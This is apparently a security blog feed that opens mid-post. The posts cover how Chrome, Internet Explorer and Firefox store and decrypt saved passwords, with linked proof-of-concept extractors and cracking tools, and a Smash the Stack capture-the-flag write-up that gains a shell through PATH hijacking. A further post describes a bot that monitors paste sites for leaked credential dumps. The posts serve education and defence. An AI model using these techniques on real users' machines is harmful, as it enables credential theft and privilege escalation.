Before talking about how to decrypt the passwords stored above, let's first take a look at the Login Data file using a sqlite browser.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4yp7TGxmWyVMRqvG4HiEQW3WyDDu770EYkewEx5iVKmrjoqNN_JTT6aDKjIYWnz1hnqQ7ZzAZtrLD6wTr0N2CKCuz__5isSR5i_cH9aIo4LcUEcOt-vTADYNo8N5ch8ob0S-crMnS-g/s1600/chrome_db.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4yp7TGxmWyVMRqvG4HiEQW3WyDDu770EYkewEx5iVKmrjoqNN_JTT6aDKjIYWnz1hnqQ7ZzAZtrLD6wTr0N2CKCuz__5isSR5i_cH9aIo4LcUEcOt-vTADYNo8N5ch8ob0S-crMnS-g/s640/chrome_db.PNG" height="142" width="640" /></a></div>
<br />
Our goal will be to extract the action_url, username_value, and password_value (binary, so the SQLite browser can't display it) fields from this database. To decrypt the password, all we'll need to do is make a call to the Windows API CryptUnprotectData function. Fortunately for us, Python has a great library for making Windows API calls called <a href="http://sourceforge.net/projects/pywin32/" target="_blank">pywin32</a>.<br />
<br />
Let's look at the PoC:<br />
<br />
<script src="https://gist.github.com/jordan-wright/5770442.js?file=chrome_extract.py"></script>
And, by running the code, we see we are successful!<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHPueWxpYM7mBkXP1bXoy-zeW5NQZZKZ_ONFjQNTWfXNVyzwmIbgw7Wggt4eS1nkoBRIuhmVQUVPMbmgYIqE4OEvNgpjYtN_03R79Mtiw3cn8KlYPM4H2ludyoyVQXQgq1GCdjI3-jGw/s1600/chrome_success.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHPueWxpYM7mBkXP1bXoy-zeW5NQZZKZ_ONFjQNTWfXNVyzwmIbgw7Wggt4eS1nkoBRIuhmVQUVPMbmgYIqE4OEvNgpjYtN_03R79Mtiw3cn8KlYPM4H2ludyoyVQXQgq1GCdjI3-jGw/s640/chrome_success.PNG" height="36" style="-webkit-box-shadow: none; border: none; box-shadow: none;" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
While it was a bit involved to find out how the passwords are stored (other dynamic methods could be used, but I figured showing the code would be most thorough), we can see that not much effort was needed to actually decrypt the passwords. The only data that is protected is the password field, and that's only in the context of the current user.<br />
<span style="font-size: large;"> </span><span style="font-size: x-large;"> </span><br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSdviEmwFrdNY1uw-jcxpR0QVMt9coXEOxZWHI1PPOcUpM2GMPrUbfeUgTDDx7Q0NhvyvzljPOC_WijIIbFCX3T2jU7sj96vP2GDSr4VAGfdhU4D5kBgL2g8s_QucrcwPoVrcEgYvjUA/s1600/ie10.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSdviEmwFrdNY1uw-jcxpR0QVMt9coXEOxZWHI1PPOcUpM2GMPrUbfeUgTDDx7Q0NhvyvzljPOC_WijIIbFCX3T2jU7sj96vP2GDSr4VAGfdhU4D5kBgL2g8s_QucrcwPoVrcEgYvjUA/s200/ie10.png" height="200" style="-webkit-box-shadow: none; border: none; box-shadow: none;" width="200" /></a><span id="ie" style="font-size: large;">Internet Explorer</span><br />
<i>Difficulty to obtain passwords:</i><span style="color: orange; font-style: italic;"> </span><span style="color: #6aa84f; font-style: italic;">Easy/</span><span style="color: orange; font-style: italic;">Medium/</span><span style="color: red; font-style: italic;">Hard </span><span style="font-style: italic;">(Depends on version)</span><br />
<span style="font-style: italic;"><br /></span>
Up until IE10, Internet Explorer's password manager used essentially the same technology as Chrome's, but with some interesting twists. For the sake of completeness, we'll briefly discuss where passwords are stored in IE7-IE9, then we'll discuss the change made in IE10. <span id="goog_548125499"></span><span id="goog_548125500"></span><br />
<br />
<b>Internet Explorer 7-9</b><br />
<br />
In previous versions of Internet Explorer, passwords were stored in two different places, depending on the <i>type</i> of password.<br />
<ul>
<li><b>Registry (form-based authentication)</b> - Passwords submitted to websites such as Facebook, Gmail, etc.</li>
<li><b>Credentials File</b> - HTTP Authentication passwords, as well as network login credentials </li>
</ul>
For the sake of this post, we'll discuss credentials from form-based authentication, since these are what an average attacker will likely target. These credentials are stored in the following registry key:<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2</span><br />
<br />
Looking at the values using regedit, we see something similar to the following:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPMUFzuBF1dxoBd-LroJmXbmsigSPNbx4VxERvjp3igx5ho_kXO_xm6mg8hFhxR6fsa8jLNyY8noKDMT4yX3SDlWFNv2ZYNO5yARP0c33F5DNY9OHSOPSOZg7mSB4DF9L-CVoWmEHgIA/s1600/ie_reg.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPMUFzuBF1dxoBd-LroJmXbmsigSPNbx4VxERvjp3igx5ho_kXO_xm6mg8hFhxR6fsa8jLNyY8noKDMT4yX3SDlWFNv2ZYNO5yARP0c33F5DNY9OHSOPSOZg7mSB4DF9L-CVoWmEHgIA/s640/ie_reg.png" height="93" width="640" /></a></div>
<br />
As was the case with Chrome, these credentials are stored using Windows API function CryptProtectData. The difference here is that additional entropy is provided to the function. This entropy, also the registry key, is the SHA1 checksum of the URL (in unicode) of the site for which the credentials are used.<br />
<br />
This is beneficial because when a user visits a website IE can quickly determine if credentials are stored for it by hashing the URL, and then using that hash to decrypt the credentials. However, if an attacker doesn't know the URL used, they will have a much harder time decrypting the credentials.<br />
<br />
Attackers will often be able to mitigate this protection by simply iterating through a user's Internet history, hashing each URL, and then checking to see if any credentials have been stored for it.<br />
<br />
While I won't paste the entire code here, you can find a great example of a full PoC <a href="http://securityxploded.com/iepasswordsecrets.php" target="_blank">here</a>. For now, let's move on to IE10.<br />
<br />
<b>Internet Explorer 10</b><br />
<b><br /></b><i>Note: Please refer to the comment below by Amy Adams regarding the fact that Windows Store Apps cannot access stored credentials in the way described above. However, this method is still relevant for applications running in the context of the user.</i><br />
<br />
IE10 changed the way it stores passwords. Now, all autocomplete passwords are stored in the Credential Manager in a location called the "Web Credentials". It looks something like the following:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3KlSlfHu582gGWjJ1J7PrxJNZD750ekPm246t7DlKHfmM4LhJnnXBr-6wl8WTawDnUaat06-y-ErKJUc1mVicCdsYFplNoDQXF4zQGtFCtAlfEKFYQ2hP2WrSmI8hbY3m7E-3S-GMpA/s1600/ie_web_store.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3KlSlfHu582gGWjJ1J7PrxJNZD750ekPm246t7DlKHfmM4LhJnnXBr-6wl8WTawDnUaat06-y-ErKJUc1mVicCdsYFplNoDQXF4zQGtFCtAlfEKFYQ2hP2WrSmI8hbY3m7E-3S-GMpA/s640/ie_web_store.PNG" height="268" width="640" /></a></div>
<br />
To my knowledge (I wasn't able to find much information on this), these credential files are stored in %APPDATA%\Local\Microsoft\Vault\[random]. A reference to what these files are, and the format used could be found <a href="http://www.passcape.com/index.php?section=blog&cmd=details&id=29" target="_blank">here</a>.<br />
<br />
What I <i>do</i> know is that it wasn't hard to obtain these passwords. In fact, it was extremely easy. Microsoft recently provided a new <a href="http://msdn.microsoft.com/en-us/library/windows/apps/br211377.aspx" target="_blank">Windows runtime</a> for more API access. This runtime provides access to a <a href="http://msdn.microsoft.com/en-us/library/windows/apps/windows.security.credentials.aspx" target="_blank">Windows.Security.Credentials namespace</a> which provides all the functionality we need to enumerate the user's credentials.<br />
<br />
In fact, here is a short PoC C# snippet which, when executed in the context of a user, will retrieve all the stored passwords:<br />
<br />
<script src="https://gist.github.com/jordan-wright/5770442.js?file=ie_extract.cs"></script>
When executing the program, the output will be similar to this:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRE-GVP9keY8MquO675c0LRLsLa20AdrU_tIWJcy0lGH9GQ6YuOqGqww9eb2Y-FkkxEjeKtEn-OwsuVemT_iFLnFi5NHEXk0BhlD6cGzfZV-Dh41-Pbpy6V3qEqv1Zysh6r7DFDTJxAw/s1600/ie_extract.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRE-GVP9keY8MquO675c0LRLsLa20AdrU_tIWJcy0lGH9GQ6YuOqGqww9eb2Y-FkkxEjeKtEn-OwsuVemT_iFLnFi5NHEXk0BhlD6cGzfZV-Dh41-Pbpy6V3qEqv1Zysh6r7DFDTJxAw/s1600/ie_extract.png" style="-webkit-box-shadow: none; border: none; box-shadow: none;" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<i>Note: I removed some sites that I believe came from me telling IE <b>not</b> to record. Other than that, I'm not sure how they got there.</i><br />
<i><br /></i>
As you can see, it was pretty trivial to extract all the passwords in use from a given user, as long as our program is executing in the context of the user. Moving right along!<br />
<span style="font-size: large;"> </span><span style="font-size: x-large;"> </span><br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgboWRxOX9O4T17aKe3G4mfDmLpgzMRLGu3c2NFDt3Zd5ISJpS3RR_Ac7wmn2stPVco3LpWMbag2F7QcZFo0O5KgqCUawSqvUjLPV2znFm63Uxj4UASsSvjb6q7dXSqf87rLX1fadNEXg/s1600/firefox.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgboWRxOX9O4T17aKe3G4mfDmLpgzMRLGu3c2NFDt3Zd5ISJpS3RR_Ac7wmn2stPVco3LpWMbag2F7QcZFo0O5KgqCUawSqvUjLPV2znFm63Uxj4UASsSvjb6q7dXSqf87rLX1fadNEXg/s200/firefox.png" height="200" style="-webkit-box-shadow: none; border: none; box-shadow: none;" width="200" /></a><span id="firefox" style="font-size: large;">Firefox</span><br />
<i>Difficulty to obtain passwords:</i><span style="color: orange; font-style: italic;"> </span><span style="color: orange; font-style: italic;">Medium</span><span style="color: #6aa84f; font-style: italic;">/</span><span style="color: red; font-style: italic;">Very Hard</span><br />
<span style="color: red; font-style: italic;"><br /></span>
Next let's take a look at Firefox, which was tricky. I primarily used <a href="http://media.blackhat.com/bh-us-11/Bursztein/BH_US_11_Bursztein_Owade_Slides.pdf" target="_blank">these slides</a> (among a multitude of other resources) to find information about where user data is stored.<br />
<br />
But first, a little about the crypto behind Firefox's password manager. Mozilla developed a open-source set of libraries called <a href="https://developer.mozilla.org/en-US/docs/NSS" target="_blank">"Network Security Services", or NSS</a>, to provide developers with the ability to create applications that meet a wide variety of security standards. Firefox makes use of an API in this library called the "Secret Decoder Ring", or SDR, to facilitate the encryption and decryption of account credentials. While it may have a <a href="https://groups.google.com/forum/#!msg/mozilla.dev.tech.crypto/KK5MPXw3hw4/yO6ct7PN9hkJ" target="_blank">"cutesy name"</a>, let's see how it's used by Firefox to provide competitive crypto:<br />
<br />
When a Firefox profile is first created, a random key called an SDR key and a salt are created and stored in a file called "key3.db". This key and salt are used in the 3DES (DES-EDE-CBC) algorithm to encrypt all usernames and passwords. These encrypted values are then base64-encoded, and stored in a sqlite database called signons.sqlite. Both the "signons.sqlite" and "key3.db" files are located at %APPDATA%/Mozilla/Firefox/Profiles/[random_profile].<br />
<br />
So what we need to do is to get the SDR key. As explained <a href="https://groups.google.com/forum/#!msg/mozilla.dev.tech.crypto/KK5MPXw3hw4/yO6ct7PN9hkJ" target="_blank">here</a>, this key is held in a container called a PKCS#11 software "token". This token is encapsulated inside of a PKCS#11 "slot". Therefore, to decrypt the account credentials, we need to access this slot.<br />
<br />
But there's a catch. This SDR key itself is encrypted using the 3DES (DES-EDE-CBC) algorithm. The key to decrypt this value is the hash of what Mozilla calls a "Master Password", paired with another value found in the key3.db file called the "global salt".<br />
<br />
Firefox users are able to set a Master Password in the browser's settings. The problem is that many users likely don't know about this feature. As we can see, the entire integrity of a user's account credentials hinges on the complexity of chosen password that's tucked away in the security settings, since this is the only value not known to the attacker. However, it can also been that if a user picks a strong Master Password, it is unlikely that an attacker will be able to recover the stored credentials.<br />
<br />
Here's the thing - if a user doesn't set a Master Password, a null one ("") is used. This means that an attacker could extract the global salt, hash it with "", use that to decrypt the SDR key, and then use that to compromise the user's credentials.<br />
<br />
Let's see what this might look like:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzmsVNMPe2sQPytiWimXq69dAeO4XQ1ob-SB-5Z6K76J9AROLVwVU3q8d7K_Xmkw5GrL9xaRNPRuFiNsbUZ_zPHil96Vj2c2wV1lZs8aQZkIBHK-ysRxTVuOAbZ4h6S0wT6akijrpMkg/s1600/ff_flow_mine.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzmsVNMPe2sQPytiWimXq69dAeO4XQ1ob-SB-5Z6K76J9AROLVwVU3q8d7K_Xmkw5GrL9xaRNPRuFiNsbUZ_zPHil96Vj2c2wV1lZs8aQZkIBHK-ysRxTVuOAbZ4h6S0wT6akijrpMkg/s640/ff_flow_mine.png" height="384" style="-webkit-box-shadow: none; border: none; box-shadow: none;" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
<br />
To get a better picture of what's happening, let's briefly go to the <a href="http://mxr.mozilla.org/mozilla-central/" target="_blank">source</a>. The primary function responsible for doing credential decryption is called <a href="http://mxr.mozilla.org/mozilla-central/source/security/nss/lib/pk11wrap/pk11sdr.c#276" target="_blank">PK11SDR_Decrypt</a>. While I won't put the whole function here, the following functions are called, respectively:<br />
<br />
<ol>
<li><a href="http://mxr.mozilla.org/mozilla-central/source/security/nss/lib/pk11wrap/pk11slot.c#1769" target="_blank">PK11_GetInternalKeySlot()</a> //Gets the internal key slot</li>
<li><a href="http://mxr.mozilla.org/mozilla-central/source/security/nss/lib/pk11wrap/pk11auth.c#313" target="_blank">PK11_Authenticate() </a>//Authenticates to the slot using the given Master Password</li>
<li><a href="http://mxr.mozilla.org/mozilla-central/source/security/nss/lib/pk11wrap/pk11skey.c#504" target="_blank">PK11_FindFixedKey()</a> //Gets the SDR key from the slot</li>
<li><a href="http://mxr.mozilla.org/mozilla-central/source/security/nss/lib/pk11wrap/pk11sdr.c#237" target="_blank">pk11_Decrypt()</a> //Decrypts the base64-decoded data using the found SDR key</li>
</ol>
<div>
As for example code to decrypt the passwords, since this process is a bit involved, I won't reinvent the wheel here. However, here are two open-source projects that can do this process for you:</div>
<div>
<ul>
<li><a href="http://securityxploded.com/firemaster.php" target="_blank">FireMaster</a> - Brute forces master passwords</li>
<li><a href="https://github.com/pradeep1288/ffpasscracker/blob/master/ffpasscracker.py" target="_blank">ffpasscracker</a> - I promised you Python, so here's a solution. This uses the libnss.so library as a loaded DLL. To use this on Windows, you can use these cygwin DLL's.</li>
</ul>
<div>
<br /></div>
<div>
<span style="font-size: large;">Conclusion</span></div>
</div>
<div>
</div>
<div>
I hope this post has helped clarify how browsers store your passwords, and why in some cases you shouldn't let them. However, it would be unfair to end the post saying that browsers are completely unreliable at storing passwords. For example, in the case of Firefox, if a strong Master Password is chosen, account details are very unlikely to be harvested.</div>
<div>
<br /></div>
<div>
But, if you would like an alternative password manager, <a href="https://lastpass.com/" target="_blank">LastPass</a>, <a href="http://keepass.info/" target="_blank">KeePass</a>, etc. are all great suggestions. You could also implement two-factor authentication using a device such as a <a href="https://www.yubico.com/products/yubikey-hardware/yubikey/" target="_blank">YubiKey</a>.</div>
<div>
<br /></div>
<div>
As always, please don't hesitate to let me know if you have any questions or suggestions in the comments below.</div>
<div>
<br /></div>
<div>
<a href="http://www.linkedin.com/profile/view?id=193041134" target="_blank">- Jordan</a> (<a href="http://twitter.com/jw_sec">@jw_sec</a>)</div>
</div>
</div>
Jordanhttp://www.blogger.com/profile/09317580042468804874noreply@blogger.com59tag:blogger.com,1999:blog-33242194251147061.post-50989068905748972742013-06-05T21:53:00.000-05:002013-06-06T23:11:44.692-05:00Smash the Stack IO Level 4 Writeup<span style="font-size: large;">Introduction</span><br />
<br />
It's been a while. I suppose finals, projects, etc. will do that. Anyway, I figured it was time to get back to posting content on here as much as possible - and I have some neat projects underway that I'm excited to share soon. For now, I'll continue the <a href="http://raidersec.blogspot.com/search/label/STS" target="_blank">previous series</a> covering the IO wargame on <a href="http://smashthestack.org/">smashthestack.org</a>.<br />
<br />
<a name='more'></a><br />
<span style="font-size: large;">Analyzing Level 4</span><br />
<br />
In my previous post, I showed how a simple stack-based buffer overflow can allow us to manipulate the program in order to gain a shell, and extract the password for the level4 user. We can use that password to log in as level4.<br />
<br />
We can see that we are given both the C source code and an executable binary to work with. Let's start by taking a look at the source:<br />
<script src="https://gist.github.com/jordan-wright/5718895.js?file=level04.c"></script>
As you can see, there isn't much to work with. However, that will make it easy for us, because it's clear which line we need to work with. We need to find some way to use the call to system("id"); code to give us a shell (or at least the password!).<br />
<br />
So what happens when we call the "system()" command? Looking at the <a href="http://linux.die.net/man/3/system" target="_blank">man page</a>, we can see that this function calls /bin/sh -c <i>command</i>, where <i>command</i> is the argument to the function (in this case, "id"). Now, let's consider how /bin/sh knows where to find the given executable file. On the system, there exists an environment variable called <a href="https://en.wikipedia.org/wiki/PATH_(variable)" target="_blank">PATH</a>. We can see the following from the Wikipedia page:<br />
<br />
<i><span style="font-family: Arial, Helvetica, sans-serif;">When a command name is specified by the user or an exec call is made from a program, the system searches through $PATH, examining each directory from left to right in the list, looking for a filename that matches the command name. Once found, the program is executed as a child process of the command shell or program that issued the command.</span><span style="font-family: Georgia, Times New Roman, serif;"> </span></i><br />
<i><span style="font-family: Georgia, Times New Roman, serif;"><br /></span></i>
This means that when system() is called, the shell checks every directory on the PATH (from left to right) looking for a file by the given name. If it finds one, it executes it. The key thing to note is that <i style="font-weight: bold;">we can change the PATH environment variable.</i> This is done via the "export" command. Before we move on, really consider how it might be possible to change the PATH variable to force the system to execute a file it didn't intend to.<br />
<br />
By using the knowledge that sh reads from left to right on the PATH, if we add a directory we control on the far left, and put in a file called "id", it will be executed when the system() command is called. Let's start by putting the following Python code in a file called "id" in the /tmp directory:<br />
<script src="https://gist.github.com/jordan-wright/5718895.js?file=id"></script>
Next, we will manipulate our PATH variable to include the /tmp directory first so that our program is executed:<br />
<script src="https://gist.github.com/jordan-wright/5718895.js?file=path"></script>
And now when we execute the program, we get a shell and the password to level5!<br />
<br />
<script src="https://gist.github.com/jordan-wright/5718895.js?file=exploit"></script>
We can use this password to move on to Level 5. Pretty simple trick, but requires knowledge of how shells such as "sh" really work.<br />
<br />
-Jordan<br />
<br />Jordanhttp://www.blogger.com/profile/09317580042468804874noreply@blogger.com0tag:blogger.com,1999:blog-33242194251147061.post-75535391189503905372013-03-28T10:49:00.000-05:002013-07-10T21:59:48.235-05:00Introducing dumpmon: A Twitter-bot that Monitors Paste-Sites for Account/Database Dumps and Other Interesting Content<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGYmRh5Pq517_AXQ2P8ds4Fx575Y_-cBH3g2QuLGnPD8N_YBSpWmk0COnPxxrtZi1zG2sl1JqhQumy4FuhogpntPLH0MIIa17mcVzpJ4Q2z_5q-xXMrLubLurTDV70WYe26KE_pnz81Q/s1600/logo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGYmRh5Pq517_AXQ2P8ds4Fx575Y_-cBH3g2QuLGnPD8N_YBSpWmk0COnPxxrtZi1zG2sl1JqhQumy4FuhogpntPLH0MIIa17mcVzpJ4Q2z_5q-xXMrLubLurTDV70WYe26KE_pnz81Q/s320/logo.png" style="border-color: transparent;" width="320" /></a></div>
<br />
<span style="font-size: large;">TL;DR</span><br />
<br />
I created a Twitter-bot which monitors multiple paste sites for different types of content (account/database dumps, network device configuration files, etc.). You can find it on <a href="http://twitter.com/dumpmon" target="_blank">Twitter</a> and on <a href="http://www.github.com/jordan-wright/dumpmon" target="_blank">Github</a>.<br />
<br />
<span style="font-size: large;">Introduction</span><br />
<br />
Paste-sites such as <a href="http://pastebin.com/">Pastebin</a>, <a href="http://pastie.org/">Pastie</a>, <a href="http://slexy.org/">Slexy</a>, and many others offer users (often anonymously) the ability to upload raw text of their choice. This is helpful in many scenarios, such as sending a crash report to someone or pasting temporary code. However, in addition to some people not being careful with what they upload (leaving passwords and other sensitive data in the text), attackers <a href="http://thenextweb.com/socialmedia/2011/06/05/pastebin-how-a-popular-code-sharing-site-became-the-ultimate-hacker-hangout/">have been starting to use these sites</a> to share post-compromise data, including user account data, database dumps, URLs of compromised sites, and more.<br />
<br />
Since there are so many users uploading text to these sites, it's often difficult to find these interesting files manually. While techniques such as Google Alerts <a href="http://raidersec.blogspot.com/2013/01/google-as-ids-using-google-alerts-to.html">can be applied</a>, the results are often a day or two old and are sometimes deleted. This prompted me to create a tool which monitors these sites in "real-time" (less than a minute of delay for the slowest sites) for specific expressions, and then automatically rank, aggregate, and post these results to Twitter for further analysis. I call this tool DumpMon.<br />
<br />
<a name='more'></a><br />
<span style="font-size: large;">Similar Tools</span><br />
<br />
There are a couple of similar tools available which do <i>essentially</i> the same thing as dumpmon - with just a few key differences:<br />
<ul>
<li><a href="https://twitter.com/PastebinLeaks">@PastebinLeaks</a> - with its last tweet on December 16, 2011, PastebinLeaks no longer appears to provide pastebin monitoring. However, I really like how it integrated quite a few different expressions, such as one for HTTP passwords, Cisco and Juniper configuration files, etc. Unfortunately, as far as I can tell PastebinLeaks is closed-source.</li>
<li><a href="https://twitter.com/Pastebindorks">@PastebinDorks</a> - This bot (intentionally closed-source, still in "alpha") is still active and posts a few tweets per day. This bot appears to be primarily concerned with account credential dumps. I think the idea of assigning a numerical rank to a tweet could help determine the usefulness of a paste, but it makes the actual <i>data</i> found unclear.</li>
</ul>
<div>
<br />
My goal with dumpmon is to create the "next step" of paste site monitoring with the following key features:</div>
<div>
<ul>
<li>Open-Source. I'm always open to contributions via <a href="https://github.com/jordan-wright/dumpmon">Github</a>. I'm working on creating all the documentation - should be up soon.</li>
<li>Monitors more than just Pastebin (full site listing in Appendix)</li>
<li>Supports multiple file types (ie the Cisco configuration files and honeypot logs)</li>
<li>For large account dumps, simply gives you the raw information (Emails: <i>x</i>, Hashes: <i>y</i>) directly in tweet</li>
</ul>
<div>
<br />
In the future, I would like to look into implementing the following features:</div>
</div>
<div>
<ul>
<li>Automatically run found hashes through large wordlists and posting results</li>
<li>Allow users to tweet a regular expression they want monitored to the bot. The bot will then tweet them the paste once it finds a match</li>
<li>Search for interesting details from other sources of information (such as popular forums, etc.) instead of just paste sites</li>
<li>Allow caching of "most interesting" results to prevent deletion</li>
<li>Create daily/monthly reports that show the amount of detected data for aiding in password research</li>
</ul>
<div>
<br /></div>
</div>
<div>
With those features outlined - let me quickly show you how I built the bot. Don't care? Just go straight to the bot <a href="http://twitter.com/dumpmon">here</a>.</div>
<div>
<br /></div>
<div>
<span style="font-size: large;">Bot Architecture</span></div>
<div>
</div>
<div>
<br />
Here is the general architecture of the bot that's currently running:<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihfnBIItNwqxfG8kBEuJ-bhfxFwRyQwfFhuYhKkGp6Dj5Bk4_tY86J_uqD0GVjMtAwdKtsc4ZVlsA-F0zpt90W6NH_K0Sn2ofZOC6Xa_DQE-3wfgRnrFpUngsj-JlyggtzPUBdkuo8Pg/s1600/architecture.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="376" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihfnBIItNwqxfG8kBEuJ-bhfxFwRyQwfFhuYhKkGp6Dj5Bk4_tY86J_uqD0GVjMtAwdKtsc4ZVlsA-F0zpt90W6NH_K0Sn2ofZOC6Xa_DQE-3wfgRnrFpUngsj-JlyggtzPUBdkuo8Pg/s640/architecture.png" style="border-color: transparent;" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
As you can see, each site runs from its own separate thread which monitors for new pastes, downloads each one and matches it against a series of regular expressions. Then, if it finds a match, it will build and post a tweet that looks like the following:</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidigC5KXC89K7dQSio6-HJmikRro1JmRyD1ENE_4pEfdNoLldyZFr6UH3nZe1ktsZoDCcCokvXGj5-j3Qm2iQQv_VVhujCji0nb3q-2GT5PZGDh9QV2J3h2h_zq5lIqwRoazewmJDmHA/s1600/tweet.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidigC5KXC89K7dQSio6-HJmikRro1JmRyD1ENE_4pEfdNoLldyZFr6UH3nZe1ktsZoDCcCokvXGj5-j3Qm2iQQv_VVhujCji0nb3q-2GT5PZGDh9QV2J3h2h_zq5lIqwRoazewmJDmHA/s1600/tweet.PNG" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
If hashes are found, it will also include the number of hashes as well as the ratio of emails to hashes. The "Keywords" attribute seen gives an approximate ratio of "positive keywords" found out of a given list, such as "Target: ", "available dbs", "member_id","hacked by", "database: ", etc.), subtracting value for each regex matched from the blacklist. Just another metric to help determine if a paste is "interesting." It should also be noted that the emails are found are <i>unique</i>. </div>
</div>
<div>
<br />
<span style="font-size: large;">Don't Bite the Hand that Feeds</span><br />
<br />
It's commonly that the most time-expensive part of web scraping is actually fetching the content. While I could go about speeding up this process by completely using an event-driven framework such as Gevent, Twisted, or others, I wanted to do my best to my best to respect the sites hosting the content. Also, I didn't want the tool to get temporarily blocked... For a third time (my bad, Pastebin). With this being the case, my bot uses the following algorithm to only get <i>new</i> pastes using polite time constraints.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHG-3Oc-fkSj7zOBXldTqsptJnTVewz_drAndNNevV-M7CdvFLHnGiBzXgDK4roeTny-Z_JsyAJOsCLlyCujlGSizLHa5nL3ngY1BKx0bucgH0c9IxsAwNNouPFaQrLyGanT6cup5F5w/s1600/algorithm.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="228" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHG-3Oc-fkSj7zOBXldTqsptJnTVewz_drAndNNevV-M7CdvFLHnGiBzXgDK4roeTny-Z_JsyAJOsCLlyCujlGSizLHa5nL3ngY1BKx0bucgH0c9IxsAwNNouPFaQrLyGanT6cup5F5w/s640/algorithm.png" style="border-color: transparent;" width="640" /></a></div>
<br /></div>
<br />
<span style="font-size: large;">Appendix</span><br />
<br />
Currently, dumpmon supports the following paste-types:<br />
<ul>
<li>Account/Database dumps</li>
<li>Google API Keys</li>
<li>Cisco Configuration Files (Juniper to be added soon)</li>
<li>Honeypot Log Dumps</li>
</ul>
Dumpmon also supports the following paste-sites:<br />
<br />
<ul>
<li><a href="http://pastie.org/">Pastie.org</a></li>
<li><a href="http://pastebin.com/">Pastebin.com</a></li>
<li><a href="http://slexy.org/">Slexy.org</a></li>
</ul>
<br />
If you can think of any other paste sites you want added, let me know!<br />
<br />
<br />
<a class="twitter-follow-button" data-show-count="false" data-size="large" href="https://twitter.com/dumpmon">Follow @dumpmon</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script><br />
<br />
<a href="http://www.linkedin.com/profile/view?id=193041134" target="_blank">- Jordan</a>Jordanhttp://www.blogger.com/profile/09317580042468804874noreply@blogger.com24tag:blogger.com,1999:blog-33242194251147061.post-89944949641892862792013-03-14T23:54:00.000-05:002013-07-10T22:00:03.882-05:00Installing Kali Linux in a VirtualBox Virtual Machine<span style="font-size: large;">Introduction</span><br />
<br />
